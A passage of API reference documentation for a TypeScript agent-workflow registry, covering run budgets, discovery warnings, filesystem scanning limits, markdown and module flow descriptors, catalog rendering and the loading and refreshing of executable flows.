const BudgetCeiling: Schema.Int // > 0 and <= Number.MAX_SAFE_INTEGER

const UsdCeiling: Schema.Finite // > 0

const FlowBudget: Schema.Struct<{
  tokens: Schema.optional<typeof BudgetCeiling>
  milliseconds: Schema.optional<typeof BudgetCeiling>
  usd: Schema.optional<typeof UsdCeiling>
  onExceeded: Schema.optional<typeof BudgetOnExceeded>
  deadline: Schema.optional<typeof BudgetCeiling>
}>

const budgetUnbounded: FlowBudget
const budgetOf: (descriptor: FlowDescriptor) => FlowBudget
const deadlineMillis: (value: unknown) => number | undefined
```

The tokens, milliseconds and dollars a flow declares that a control plane
should approve for one of its runs. Tokens and milliseconds are positive safe
integers, so the schema refuses zero, a negative, a fraction, `NaN`, and
anything past `Number.MAX_SAFE_INTEGER`; `usd` is a positive finite amount, so
`0.5` is fifty cents. `deadline` is the milliseconds of wall-clock time one run
may take from its first start, read from the frontmatter's top-level `deadline`.
Every field survives durable JSON unchanged.

`BudgetCeiling`, `UsdCeiling`, `BudgetOnExceeded`, `SandboxProvider` and
`SandboxSelection` are [`@smthrs/core`](/docs/reference/api/core/)'s `Markdown` schemas,
re-exported, and `FlowBudget` is core's `Markdown.Budget` plus `deadline`, so a
descriptor and the flow lowered from it read one definition.

`budgetUnbounded` is the budget of a flow that declares no ceiling. It is
a named frozen value rather than a `{}` written at each host, for the same
reason `@smthrs/agent`'s `Budget.layerUnbounded` is a named layer: giving up
spending enforcement is a decision a reader has to be able to see.

`budgetOf` is how a host reads the field. It answers an absent `budget` with
`budgetUnbounded` and returns a frozen copy otherwise, so one host cannot
rewrite the ceiling every other undeclared descriptor reports.

`deadlineMillis` reads a deadline the way frontmatter and `smthrs flow start
--deadline` write one: a duration such as `30 minutes`, or whole milliseconds as
a number or numeric string. Anything that is not a positive safe integer of
milliseconds answers `undefined`.

### Descriptor.DiscoveryWarning and DiscoveryWarningCode

```ts
class DiscoveryWarning {
  readonly code: DiscoveryWarningCode
  readonly path: string
  readonly name?: string
  readonly message: string
  readonly cause?: unknown
}
```

A non-fatal source-discovery diagnostic. Anything a scan can survive is
reported this way rather than raised, and read back through
`registry.warnings()`. The 36 codes are grouped by what they say:

| Group                  | Codes                                                                                                                                                                                                                                                                                                                            |
| ---------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Naming and description | `missing_description`, `invalid_description`, `missing_name`, `invalid_name`, `directory_name_mismatch`, `name_field_ignored`, `duplicate_name`, `root_level_entry`                                                                                                                                                              |
| Declaration fields     | `unknown_frontmatter_key`, `invalid_allowed_tools`, `invalid_capabilities`, `invalid_budget`, `invalid_deadline`, `invalid_model`, `invalid_model_invocation`, `invalid_placement`, `invalid_sandbox`, `invalid_compatibility`, `invalid_license`, `invalid_metadata`, `unsupported_input_schema`, `unsupported_module_metadata` |
| Authority              | `unprojectable_authority`, `invalid_effect_declaration`, `invalid_effect_tier`                                                                                                                                                                                                                                                   |
| Source shape           | `multiple_entry_files`, `frontmatter_parse_error`, `non_serializable_frontmatter`, `symlink_cycle`, `outside_root`, `max_depth_exceeded`, `entry_too_large`, `unreadable`, `retired_root`                                                                                                                                        |
| Packs                  | `unknown_pack_key`, `shadowed`                                                                                                                                                                                                                                                                                                   |

`service` names a service missing during construction of a module's exported `layer`.
The optional export is built once in a scoped host context; see
[Module action implementations](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/guides/run-a-discovered-flow.md#module-action-implementations).

Each code, with its cause and its fix, is in
[Diagnose a flow that did not appear](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/guides/diagnose-a-missing-flow.md).

## Discovery

Portable, metadata-only discovery of markdown and module-backed flows.

### Discovery.Discovery

```ts
interface Discovery {
  readonly scan: (source: Descriptor.Source) => Effect.Effect<SourceScan, DiscoveryError>
}

const Discovery: Context.Service<Discovery, Discovery>
```

`scan` walks one source root and returns every descriptor it produced with
every diagnostic it collected. It never loads a body into the result and never
evaluates a module. A scan either produces a complete `SourceScan` or fails;
there is no partial scan.

Discovery follows symbolic links wherever the host `FileSystem.stat` does. A
visited-directory identity set, keyed on device and inode, stops cycles and
aliases with a `symlink_cycle` warning, and a depth ceiling bounds hosts that
cannot supply stable directory identities. When `confinementRoot` is set,
discovery checks the source root, every descended directory, and every selected
entry file before reading it. A real path outside the confinement root, or one
that cannot be resolved once the root resolves, produces `outside_root` and is
skipped. If the configured confinement root cannot resolve, discovery refuses the
source with `outside_root` before reading any directory contents.

### Discovery.make

```ts
const make: (fs: FileSystem.FileSystem, path: Path.Path) => Discovery
```

Creates the service from portable file-system and path services. A test with an
in-memory filesystem needs no platform bindings.

### Discovery.layer

```ts
const layer: Layer.Layer<Discovery, never, FileSystem.FileSystem | Path.Path>
```

Provides discovery from the current file-system and path services.

### Discovery.makeNoop, Discovery.layerNoop

```ts
const makeNoop: (overrides?: Partial<Discovery>) => Discovery
const layerNoop: (overrides?: Partial<Discovery>) => Layer.Layer<Discovery>
```

An explicit absence: `scan` answers an empty `SourceScan`. `overrides` replaces
the members a caller cares about and leaves the rest as the absence.

### Discovery.entrySizeLimit, Discovery.maximumTraversalDepth

```ts
const entrySizeLimit: number // 4 * 1024 * 1024
const maximumTraversalDepth: number // 32
```

The two resource ceilings a scan enforces. `entrySizeLimit` is the largest
entry file discovery admits; a larger one is skipped with `entry_too_large` and
contributes no descriptor, so a stray build artifact under a source root cannot
exhaust the process at layer construction.

A `stat` size past the limit skips the file unread. Otherwise discovery reads
at most `entrySizeLimit + 1` bytes through `FileSystem.stream`, independently
of the reported size. The extra byte detects overflow; `entry_too_large`
reports this measured lower bound without consuming the rest of the file.
Oversized entries are refused before hashing, decoding, or parsing.

`maximumTraversalDepth` bounds how many entry-name segments a walk descends.
The entry-name path is the flow name, so a deeper tree is a loop or a mistake,
and it is reported as `max_depth_exceeded`.

A third ceiling has no export: at most 64 KiB of an admitted file is decoded
and parsed looking for metadata. It bounds parsing only.

## MarkdownFlow

Discovery and prompt rendering for markdown-backed flows, including the Agent
Skills `SKILL.md` form.

### MarkdownFlow.Input, MarkdownFlow.Output

```ts
const Input: Schema.Struct<{ args: Schema.String }>
const Output: typeof Schema.String
```

The fixed input and output of every markdown flow. A markdown flow takes one
string and produces one string, which is why `Descriptor.SchemaRefMarkdownArgs`
and `SchemaRefMarkdownOutput` are markers rather than locators.

### MarkdownFlow.fromMarkdown

```ts
interface FromMarkdownOptions {
  readonly text: string
  readonly contentDigest?: string | undefined
  readonly path: string
  readonly baseDirectory: string
  readonly naming: "path" | "frontmatter"
  readonly name: Option.Option<string>
  readonly dirBasename: string
  readonly provenance: Provenance
}

interface FromMarkdownResult {
  readonly descriptor: Option.Option<FlowDescriptor>
  readonly warnings: ReadonlyArray<DiscoveryWarning>
}

const fromMarkdown: (options: FromMarkdownOptions) => FromMarkdownResult
```

Derives a markdown flow descriptor from already-read text, without retaining
the prompt body. `Discovery` calls it with a metadata prefix and the digest of
the whole file; a caller passing complete text may omit `contentDigest`, and
the digest of `text` is used.

`descriptor` is `Option.none()` when `description` is missing or empty, when
`capabilities` is neither a string array nor a space-separated string (such as
a mapping or an array containing mappings), or when `model` is an invalid list
(such as `model: []`). These refusals report `missing_description`,
`invalid_capabilities`, or `invalid_model`, respectively. An omitted
`capabilities` key projects wildcard authority; a space-separated string is
accepted with an `invalid_capabilities` warning. A blank `model` string or a
`model` mapping is ignored with an `invalid_model` warning, and the flow keeps
the default seat. Other malformed fields may
produce a descriptor with a conservative value. Report `warnings` whether or
not a descriptor was produced.

### MarkdownFlow.loadBody

```ts
const loadBody: (text: string, baseDirectory: string) => FlowBodyPrompt
```

Removes leading frontmatter and returns a `FlowBodyPrompt`. It removes nothing
else: a body's own markdown, including any later `---` rule, is preserved.

### MarkdownFlow.renderPrompt

```ts
const renderPrompt: (
  body: FlowBodyPrompt,
  input: { readonly args: string }
) => string
```

Renders a loaded markdown body for a model, using the compatible skill
convention: the body, then a fixed block naming where the flow's own files
live, then the caller's arguments when there are any.

```text
<the body text>

Supporting skill resources are available relative to this skill directory but are not loaded into context unless needed:
<skill_resources>
- Base directory: /absolute/path/to/the/skill
- Resolve relative resource paths from this directory and read only the files you need.
</skill_resources>

<args, when the caller supplied any>
```

The base directory is the absolute host path the descriptor was discovered
under, so a host that must not disclose its filesystem layout to a model should
render the body itself rather than through this helper.

### MarkdownFlow.toCoreFrontmatter

```ts
const toCoreFrontmatter: (descriptor: FlowDescriptor) => CoreMarkdown.MarkdownFrontmatter
```

Projects a descriptor into the one authoring value
[`@smthrs/core`](/docs/reference/api/core/)'s `Markdown` module accepts. This is the deliberate
registry-to-core adapter boundary: metadata crosses it once and is not
independently reinterpreted downstream. `Executable` uses it to lower a loaded
markdown body into its annotations.

Every limit the author declared crosses it: `modelInvocable`, the budget's
ceilings, the sandbox selection, and the run deadline, which the descriptor
folds into `budget` and core takes as the flow's own `deadline`. The lowered
flow therefore carries `Flow.ModelInvocable`, enforces the deadline, and
exposes `budget` and `sandbox`:

```ts
const flow = CoreMarkdown.lowerMarkdown(MarkdownFlow.toCoreFrontmatter(descriptor), prompt)
```

## ModuleFlow

Discovery for `flow.ts` modules, whose default export is `Flow.make("<tag>", { ... })`.

### ModuleFlow.fromModule

```ts
interface FromModuleOptions {
  readonly text: string
  readonly contentDigest?: string | undefined
  readonly path: string
  readonly naming: "path" | "frontmatter"
  readonly name: Option.Option<string>
  readonly dirBasename: string
  readonly provenance: Provenance
  readonly imports?: ReadonlyArray<ModuleImport> | undefined
  readonly hostImports?: ReadonlyArray<string> | undefined
}

interface FromModuleResult {
  readonly descriptor: Option.Option<FlowDescriptor>
  readonly tag: Option.Option<string>
  readonly warnings: ReadonlyArray<DiscoveryWarning>
}

const fromModule: (options: FromModuleOptions) => FromModuleResult
```

Derives a module flow descriptor from already-read source text without
importing or evaluating it. `Discovery` calls it for every `flow.ts` entry with
a metadata prefix, the digest of the whole file and the module's closure; a
host that keeps a flow's source outside a file system, such as a database row
or an editor buffer, calls it with the complete text, and the digest of `text`
is used.

The description, payload and success schemas, `flows`, `capabilities`,
`effects`, `model`, `modelInvocable`, `budget` and a leading placement
directive (`"use sandbox"`) come from the literal declaration. `tag` is the
string literal `Flow.make` takes as its first argument; it is `Option.none()`
for a record declaration or a tag the reader can't evaluate, such as a
variable or a template with a substitution. The descriptor's `name` is the
path-derived `name` in a path-named source and `dirBasename` otherwise, so a
caller that requires the tag to match the name compares the two itself.

`descriptor` is `Option.none()` when the declaration has no literal
description (`missing_description`). Metadata the reader can't project is
reported as `unsupported_module_metadata`, with the line when it has one, and
projected conservatively. In a path-named source, a `name` field that differs
from the path is reported as `name_field_ignored`. Report `warnings` whether or
not a descriptor was produced.

## Registry

The refreshable, first-found-wins catalog a host consumes.

### Registry.Registry

```ts
interface Registry {
  readonly snapshots?: ExecutionSnapshot.Service | undefined
  readonly list: () => Effect.Effect<ReadonlyArray<FlowDescriptor>>
  readonly visible: () => Effect.Effect<ReadonlyArray<FlowDescriptor>>
  readonly get: (name: string) => Effect.Effect<FlowDescriptor, RegistryError>
  readonly getOption: (name: string) => Effect.Effect<Option.Option<FlowDescriptor>>
  readonly loadBody: (
    name: string,
    expectedExecutionDigest?: string
  ) => Effect.Effect<FlowBody, RegistryError | DiscoveryError>
  readonly runPrompt: (
    name: string,
    input: MarkdownFlow.Input
  ) => Effect.Effect<MarkdownFlow.Output, RegistryError | DiscoveryError>
  readonly refresh: () => Effect.Effect<void, RegistryError | DiscoveryError>
  readonly warnings: () => Effect.Effect<ReadonlyArray<DiscoveryWarning>>
}

const Registry: Context.Service<Registry, Registry>
```

| Member      | What it answers                                                                                                                                                                      |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `list`      | Every descriptor, in deterministic first-found order.                                                                                                                                |
| `visible`   | The descriptors whose `modelInvocable` is true.                                                                                                                                      |
| `get`       | One descriptor, or `RegistryError { code: "not_found" }`.                                                                                                                            |
| `getOption` | One descriptor as an `Option`. It cannot fail.                                                                                                                                       |
| `loadBody`  | Returns the body locator or prompt, optionally checking the approved execution identity first. Source bytes are checked against the discovery digest; unmeasured bodies are refused. |
| `runPrompt` | A markdown body rendered as a prompt. A module flow is `not_prompt_flow`.                                                                                                            |
| `refresh`   | Rescans every configured source and replaces the snapshot.                                                                                                                           |
| `warnings`  | Every discovery and collision diagnostic.                                                                                                                                            |

Reads are atomic per operation: each observes one complete snapshot. A
successful `refresh` between calls can replace or remove a listed descriptor,
so a later `get` may return a different descriptor or fail with `not_found`.
Retain returned descriptors when you need the values from that read; they do
not pin later registry calls or filesystem contents. Cross-call consistency
would require adding an explicit snapshot handle to the API; none is currently
exposed.

`refresh` replaces the snapshot only after every source succeeds. A failed
rescan leaves the previous complete snapshot serving reads. Overlapping
`refresh` calls run one at a time, so the refresh that started last publishes
last.

`loadBody` and `runPrompt` are the only two members that touch the filesystem.

Pass the plan's `executionDigest` to `loadBody` when loading an approved flow.
With `snapshots`, an admitted approved descriptor and its verified bytes can be
restored after a live edit, deletion, or restart. A missing or invalid snapshot
or changed project lockfile refuses restoration. Without snapshots, a descriptor
that no longer matches fails with `execution_changed`; a changed markdown file
fails with `body_unavailable`. Refreshing does not authorize new work.

### Registry.Config and Registry.PackConfig

```ts
interface Config {
  readonly snapshots?: ExecutionSnapshot.Service | undefined
  readonly sources: ReadonlyArray<Descriptor.Source>
  readonly packs?: PackConfig | undefined
}

interface PackConfig {
  readonly installed: ReadonlyArray<Pack.Installed>
  readonly runtimeVersion: string
}
```

Sources are scanned in caller order, and the canonical order is system,
project, plugin, then foreign. Packs are scanned after every source and folded
in under the same first-found rule, so a source entry shadows a pack entry of
the same name. Precedence among packs is the pack's `origin`, not caller order.

`runtimeVersion` is required rather than optional because it is the only thing
a pack's `requires.smithers` can be checked against. An optional field would
silently skip the check for every caller that forgot it.

### Registry.make, Registry.layer

```ts
const make: (config: Config) => Effect.Effect<
  Registry,
  RegistryError | DiscoveryError,
  Discovery | FileSystem.FileSystem | Path.Path
>

const layer: (config: Config) => Layer.Layer<
  Registry,
  RegistryError | DiscoveryError,
  Discovery | FileSystem.FileSystem | Path.Path
>
```

Scans the ordered sources and constructs the registry. Both copy the
configuration they were given, so mutating the `sources` or `packs.installed`
array afterwards changes nothing.

A name claimed twice by ordinary sources resolves first-found with a
`duplicate_name` warning. A name shared with a source declared `system: true`
fails `RegistryError { code: "system_collision" }` in either direction.

### Registry.ProjectOptions, Registry.projectSource and Registry.layerProject

```ts
const projectSource: (
  path: { readonly join: (...segments: ReadonlyArray<string>) => string },
  root: string
) => Descriptor.Source

interface ProjectOptions {
  readonly root: string
  readonly packs?: Registry.PackConfig | undefined
}

const layerProject: (options: ProjectOptions) => Layer.Layer<
  Registry.Registry,
  RegistryError | DiscoveryError,
  FileSystem.FileSystem | Path.Path
>
```

`projectSource` is the one source for a project's own flows:
`<root>/.smithers/flows`, path-named, optional, and with `<root>/flows` as its
`retiredRoot`. Every host that discovers a project builds its source here.

The registry a Node host discovers a project in: `<root>/.smithers/flows/**` first, then
every installed pack, all under one first-found registry, so a project flow
shadows a pack flow of the same name and `refresh` rescans both.

Packs are scanned through the registry's own pack path, so each pack descriptor
carries its `provenance.pack`, a name two packs both define is reported as
`shadowed`, and every pack's `requires.smithers` is checked against
`PackConfig.runtimeVersion`. The runtime version rides inside `PackConfig`
rather than beside it, so a caller cannot ask for packs without saying what
their range is checked against.

A project with no `.smithers/flows/` directory has no project entries. The
source stays configured with `optionalRoot: true`, so every `refresh()` checks
it again. Creating the first `.smithers/flows/<id>/flow.mdx` or `flow.ts` makes
it discoverable on refresh in the same session. Removing `.smithers/flows/`
empties the project entries on refresh; recreating it makes them discoverable
again. Flows in a root `flows/` never load; each scan reports one
`retired_root` warning until they move. Pack entries remain,
and a missing declared pack directory fails with `invalid_pack`.

### Registry.layerFromDescriptors

```ts
const layerFromDescriptors: (
  entries: ReadonlyArray<FlowDescriptor>,
  warnings?: ReadonlyArray<DiscoveryWarning>
) => Layer.Layer<Registry, never, FileSystem.FileSystem | Path.Path>
```

Provides an in-memory descriptor snapshot while retaining lazy body loading.
Its `refresh` is a no-op, because it has no discovery sources. It still
requires `FileSystem` and `Path`, because `loadBody` still reads and
digest-checks a real file.

Duplicate names among `entries` resolve first-found with a `duplicate_name`
warning appended to the warnings supplied.

### Registry.layerFromPacks

```ts
const layerFromPacks: (
  packs: ReadonlyArray<Pack.Installed>,
  options: { readonly runtimeVersion: string }
) => Layer.Layer<
  Registry,
  RegistryError | DiscoveryError,
  Discovery | FileSystem.FileSystem | Path.Path
>
```

Scans a set of installed packs into one registry. This is `layer` with no
sources of its own, so `refresh` rescans every pack the same way it rescans a
source.

Every pack's `requires.smithers` is checked before anything is scanned, so an
incompatible pack fails at load rather than at the first call into one of its
flows. Precedence is the pack's `origin`, and a shadowed definition is reported
as a `shadowed` warning naming both packs. See
[Load workflow packs](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/guides/load-packs.md).

A pack's manifest warnings travel with it: spread `Pack.read`'s result into an
`Installed` and add `origin`, and `registry.warnings()` reports them beside the
pack's scan warnings.

### Registry.makeNoop, Registry.layerNoop

```ts
const makeNoop: (overrides?: Partial<Registry>) => Registry
const layerNoop: (overrides?: Partial<Registry>) => Layer.Layer<Registry>
```

An explicit absence: `list`, `visible`, and `warnings` answer empty, `getOption`
answers `None`, `get`, `loadBody`, and `runPrompt` fail `not_found`, and
`refresh` succeeds. `overrides` replaces the members a caller cares about.

`layerNoop` requires nothing, so it composes into a test with no filesystem.

## Disclosure

The compact projections a client renders. Neither reads a path, a base
directory, a provenance, a frontmatter record, or a capability list. See
[Show a catalog to a model](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/guides/show-flows-to-a-model.md).

### Disclosure.toEntries

```ts
const toEntries: (
  entries: ReadonlyArray<FlowDescriptor>
) => ReadonlyArray<{ readonly name: string; readonly description: string }>
```

Projects descriptors into slash-autocomplete entries, sorted by name. It does
not filter: a flow that opted out of model invocation is still one an operator
may run.

### Disclosure.toXml

```ts
const toXml: (entries: ReadonlyArray<FlowDescriptor>) => string
```

Renders the model-invocable descriptors as an agentskills-style
`<available_skills>` block, sorted by name. An empty catalog renders the empty
block rather than the empty string.

`toXml` filters by `modelInvocable` itself, so passing `list()` and passing
`visible()` produce the same XML.

Text is repaired before it is escaped. Every code point XML 1.0 forbids, every
lone surrogate, and every Unicode noncharacter (U+FDD0 through U+FDEF, and
U+FFFE and U+FFFF in every plane) is replaced with U+FFFD; then `&`, `<`, `>`,
`"`, and `'` are escaped. Tab, line feed, carriage return, combining marks, and
astral characters survive unchanged, so one malformed description degrades that
description rather than invalidating the catalog.

## Executable

Turning a discovered descriptor into something the durable engine runs.
[Delegation](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/concepts/delegation.md) explains the model.

### Executable.Executable

```ts
interface Executable {
  readonly quiesce?: ((executionIds: Iterable<string>) => Effect.Effect<void>) | undefined
  readonly source?: VerifiedSource | undefined
  readonly descriptor: Descriptor.FlowDescriptor
  readonly delegate: string | undefined
  readonly lowered: Lowered
  readonly invocation: (input: Schema.Json) => Invocation
  readonly flow: RuntimeFlow.Flow<string, typeof Payload, typeof Schema.Unknown, typeof Schema.Unknown, any>
  readonly layer: Layer.Layer<never, never, Registration>
}
```

One discovered flow, made runnable. `flow` is tagged with the descriptor's
registry name and `layer` registers it with the runtime.

`delegate` is the registered flow this descriptor hands its work to, and
`undefined` when the module IS the flow: a `.smithers/flows/<name>/flow.ts` that
`export default`s a `@smthrs/flow` flow runs its own body, so its body is the
plan rather than one delegating node. The distinction is an authority one. A
delegate is host-registered code the descriptor never measured, so an approved
plan's envelope has to name it; a module that is its own flow is measured
instead, by `Descriptor.executionDigest` over its entry bytes and every module
that entry imports from beside itself.

### Executable.Options

```ts
interface Options {
  readonly adapterExecutionDigest?: ((descriptor: Descriptor.FlowDescriptor) => string | undefined) | undefined
  readonly snapshots?: ExecutionSnapshot.Service | undefined
  readonly sourceRoot?: { readonly identity: string; readonly workspace: string } | undefined
  readonly delegates: ReadonlyArray<Delegate>
  readonly agent?: string | undefined
  readonly loadTimeoutMs?: number | undefined
  readonly load?:
    | ((path: string, source: {
      readonly bytes: Uint8Array
      readonly contentDigest: string
    }) => Effect.Effect<unknown, unknown>)
    | undefined
}
```

`delegates` is the set of registered runtime flows a descriptor may delegate
to. `agent` renames the fallback delegate for a host that calls its driver
something other than `agent`.

`load` receives the resolved filesystem path (or the original `file:` URL),
the verified entry bytes, their SHA-256 `contentDigest`, and `modules`: the
verified bytes of the entry and of every module it reaches through static
relative imports, keyed by absolute path, with the static specifiers that name
another module of that closure. Custom loaders must evaluate those bytes and
key any evaluation cache by both source path and digest. Reopening the
original paths or caching only by path violates the integrity and refresh
contract. Existing one-argument loaders remain assignable but must adopt this
contract to support edited modules safely.

The default loader writes each module of the closure to an exclusively
created, owner-readable sibling of its original whose unique name includes the
entry digest, and rewrites each linked static specifier to name its target's
sibling. Each load evaluates the measured bytes of the whole closure under
fresh module identities, so an edited helper is adopted after a refresh and
import cycles stay cycles. Relative imports and package resolution retain each
module's directory; `import.meta.url` names the temporary sibling. Source
directories must be writable. Temporary files are removed when loading settles
or is interrupted. Measured project helpers reached through `import()` or
`require()`, tsconfig aliases, or conditional package mappings without one
static target are refused with `body_unavailable` before the entry is imported.
Those loads cannot guarantee fresh measured bytes through the host module
cache, and deferred calls can outlive sibling cleanup. Installed packages
without project mappings and Node/Bun builtins retain host trust and use the
normal host loader.

`executable.quiesce(executionIds)` blocks and joins this module's local
registered handlers for the specified native executions before explicit code
adoption retires the registration. It preserves durable receipts and does not
request cancellation. Other executions remain usable. A replacement executable
owns a fresh registration and may resume the same execution IDs.

`adapterExecutionDigest` lets a host retain the original plan's adapter
registration name when explicitly adopting new code. It changes the registration
name only; the descriptor, source verification, and approved executable digest
still identify the adopted bytes. Without it, the adapter uses the descriptor's
execution digest.

`sourceRoot` is a host-owned retained checkout of the same project. Approved
locators and executable digests stay under `identity`; entry bytes, schema
exports, imported helpers, project lockfiles and markdown resources load under
`workspace`.
Locators outside `identity`, changed entry bytes, and a changed or unmeasured
closure are refused. The host still verifies committed workspace routing and
run approval before recovery; relocation grants no execution authority.

`loadTimeoutMs` bounds each `catalog` entry, including custom loaders, and
defaults to `SMITHERS_FLOW_LOAD_TIMEOUT_MS`, or 30000 milliseconds when unset
or invalid. Supply a positive finite number. Expiry becomes
`ExecutableError { code: "load_timeout" }` naming the flow, source path,
and deadline. The catalog logs the refusal immediately and proceeds to the
next entry. Direct `fromDescriptor` and `fromRegistry` calls have no deadline
and log progress every 30 seconds.
Native imports cannot be cancelled: the deadline stops waiting and cleans up
temporary files, but cannot stop initialization resources or synchronous code
that blocks the event loop. Hosts needing termination must supply an isolated,
interruptible loader.

### Executable.Delegate

```ts
interface Delegate {
  readonly _tag: string
  readonly call: (payload: any) => PlanNode.Node<any, any, any>
  readonly execute: (
    payload: any,
    options?: { readonly executionId?: string | undefined }
  ) => Effect.Effect<any, any, any>
}
```

A registered `@smthrs/flow` flow a descriptor may delegate to. The contract is
structural on purpose: a `Flow.make` value satisfies it, and so does a test
double. Both ways of reaching the flow are required because the descriptor
decides which one is used. A declared cache policy makes the delegation one
dispatched step with a child execution beneath it; no policy leaves it a call
in the caller's plan.

### Executable.Payload and Executable.Invocation

```ts
const Payload: Schema.Struct<{ input: Schema.optionalKey<Schema.Json> }>

const Invocation: Schema.Struct<{
  flow: Schema.String
  input: Schema.Json
  prompt: Schema.String
  model: Schema.NullOr<Schema.String>
  placement: Schema.NullOr<Schema.Literals<["client", "local", "sandbox", "remote"]>>
  placementOptions: Schema.NullOr<
    Schema.Struct<{
      image: Schema.optional<Schema.String>
      profile: Schema.optional<Schema.String>
      target: Schema.optional<Schema.String>
    }>
  >
  capabilities: Schema.Array<Schema.String>
  flows: Schema.Array<Schema.String>
}>
```

`Payload` is what a bridged flow is executed with: one JSON field, because the
caller is a CLI launch or a control-plane launch and neither knows the
descriptor's schema at the call site.

`Invocation` is what the delegate receives. It is a fixed serializable envelope
rather than the descriptor's own input schema, because a host registers one
delegate for many descriptors. It carries the two decisions a driver cannot
re-derive: `placement`, which selects the host a cell is spawned on, and
`model`, which selects the seat. `ModelSelection` accepts one string or a non-empty ordered list: the first seat is primary and the rest are fallbacks. The order is included in execution identity.

`placementOptions` decodes an absent key to `null`, so a journal row written
before the field existed still decodes on replay. The default applies to
decoding only: encoding still writes the key, so the step key an envelope
carrying a placement hashes to does not move.

The envelope, its arrays, and its JSON input are frozen, and the same values
are captured as the delegating node's durable identity.

### Executable.Lowered and Executable.lower

```ts
interface Lowered {
  readonly cache: CacheEnvironment.CachePolicy | undefined
  readonly priority: number | undefined
  readonly placement: CorePlacement.Placement | undefined
}

const lower: (
  descriptor: Descriptor.FlowDescriptor,
  annotations: Context.Context<never>
) => Lowered
```

The runtime decisions read off a loaded body and its descriptor. The body's
annotation bag wins over the descriptor's frontmatter, because the body is the
later and more specific statement, and frontmatter can express neither
`Flow.within(...)` nor a cache policy.

`cache` is read from `CacheEnvironment.CachePolicyAnnotation`. Declaring one
changes the shape of the plan and is gated on the descriptor's tier; see
[Reuse a discovered flow's result](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/registry/docs/guides/reuse-a-flow-result.md).
`priority` reaches `NodeDraft.priority` for
[`@smthrs/engine-store`](/docs/reference/api/engine-store/)'s `PlanScheduler`, which orders
scheduled plans and nothing on the `Interpreter` path.

### Executable.delegateOf

```ts
const delegateOf: (
  descriptor: Descriptor.FlowDescriptor,
  options?: { readonly agent?: string | undefined }
) => Effect.Effect<string, ExecutableError>
```

The registry name of the flow a descriptor delegates to. One named flow is the
delegate. No named flow delegates to the agent, and so does one that names
several while declaring a model, because a skill listing its tools is naming
what the model may call rather than what runs it. Several named flows and no
model is `ambiguous_delegate`.

### Executable.defaultAgent

```ts
const defaultAgent: string // "agent"
```

The delegate a descriptor runs on when it names no single flow of its own. A
markdown skill and a bodiless binding record with `model` both say a model does the
work; neither names the code that drives one.

### Executable.fromDescriptor, Executable.fromRegistry

```ts
const fromDescriptor: (
  descriptor: Descriptor.FlowDescriptor,
  options: Options
) => Effect.Effect<Executable, ExecutableError, FileSystem.FileSystem | Path.Path>

const fromRegistry: (
  name: string,
  options: Options
) => Effect.Effect<
  Executable,
  ExecutableError | RegistryError,
  Registry.Registry | FileSystem.FileSystem | Path.Path
>
```

Makes one descriptor runnable. Everything that can be refused is refused here,
before the flow exists: a missing delegate, an undecidable one, an unreadable
or changed body, a module that exports something else. A flow either function
returns is one the engine can drive.

Direct loads have no deadline and log progress every 30 seconds. A native
start or resume remains bounded by its admission window.

The delegate is resolved before the body is loaded. Both refusals are real, but
only one of them is about this host, and an operator reading "could not load"
would go looking in the wrong place.

### Executable.Catalog and Executable.catalog

```ts
interface Catalog {
  readonly executables: ReadonlyArray<Executable>
  readonly refused: ReadonlyArray<ExecutableError>
  readonly load?: (name: string) => Effect.Effect<
    Executable,
    ExecutableError | RegistryError | DiscoveryError
  >
}

const Catalog: Context.Service<Catalog, Catalog>

const catalog: (options: Options) => Effect.Effect<
  Catalog,
  RegistryError | DiscoveryError,
  Registry.Registry | FileSystem.FileSystem | Path.Path
>
```

Every discovered flow this host can run, and the ones it declined. A project's
flows directory is a mixed set: some entries delegate to a flow this host
registered, others name a delegate only another host has, and one may simply be
broken. None of those is a reason to withhold the rest, so every refusal is
reported in `refused` carrying its code rather than raised. Each refusal is
logged before loading the next entry. Each entry has a catalog deadline:
`Options.loadTimeoutMs`, then `SMITHERS_FLOW_LOAD_TIMEOUT_MS`, then 30000 ms.
The environment setting must be positive and finite; invalid values use the
default. A timeout is `load_timeout`, separate from `body_unavailable`.

The live catalog provided by `layer` or `layerRefreshable` exposes `load(name)`.
It returns an already loaded executable or retries a `load_timeout` through
the direct path, registers the recovered body, and removes its refusal.
Concurrent first uses share the recovered executable. Other refusals remain
typed failures; retry does not adopt edited source bytes.

The service tag is provided by `layer`, so a command that lists or diagnoses
flows reads the same refusals the registration phase acted on instead of
rebuilding the catalog and hoping the two agree.

### Executable.layer

```ts
const layer: (options: RefreshOptions) => Layer.Layer<
  Catalog | Refresh,
  RegistryError | DiscoveryError,
  Registry.Registry | FileSystem.FileSystem | Path.Path | Registration
>
```

Registers every runnable discovered flow with the runtime, and provides the
[`Refresh`](#executablerefresh-executablerefreshed-and-executablerefreshoptions)
that rebuilds one of them later. This is the layer a host passes as the durable
runtime's registration phase.

A refusal is never silent: each one is logged as a warning naming the flow, the
code, the delegate it wanted, and what is registered instead, and the whole
`Catalog` is provided as a service.

The `Catalog` service object never changes identity. A reader that took it
while the host was composed keeps reading it after a rebuild, because a
rebuild swaps the snapshot behind the service rather than the service.

### Executable.Refresh, Executable.Refreshed and Executable.RefreshOptions

```ts
interface Refresh {
  readonly flow: (name: string) => Effect.Effect<Refreshed, RegistryError | DiscoveryError>
}

const Refresh: Context.Service<Refresh, Refresh>

type Refreshed =
  | { readonly _tag: "Registered"; readonly executable: Executable }
  | { readonly _tag: "Refused"; readonly error: ExecutableError }
  | { readonly _tag: "Removed" }
  | { readonly _tag: "Fixed" }

interface RefreshOptions extends Options {
  readonly refreshable?: ((descriptor: Descriptor.FlowDescriptor) => boolean) | undefined
}
```

Rebuilds one entry of a catalog the host is already serving from: rescan
discovery, load that flow's body from the bytes now on disk, register it with
the runtime, and swap it into the snapshot. No restart, and the previous body
stays registered until the new one is, so an execution dispatched across the
swap reaches one of them and never an unregistered tag. Refreshes are
serialized, so two rebuilds of one name cannot interleave.

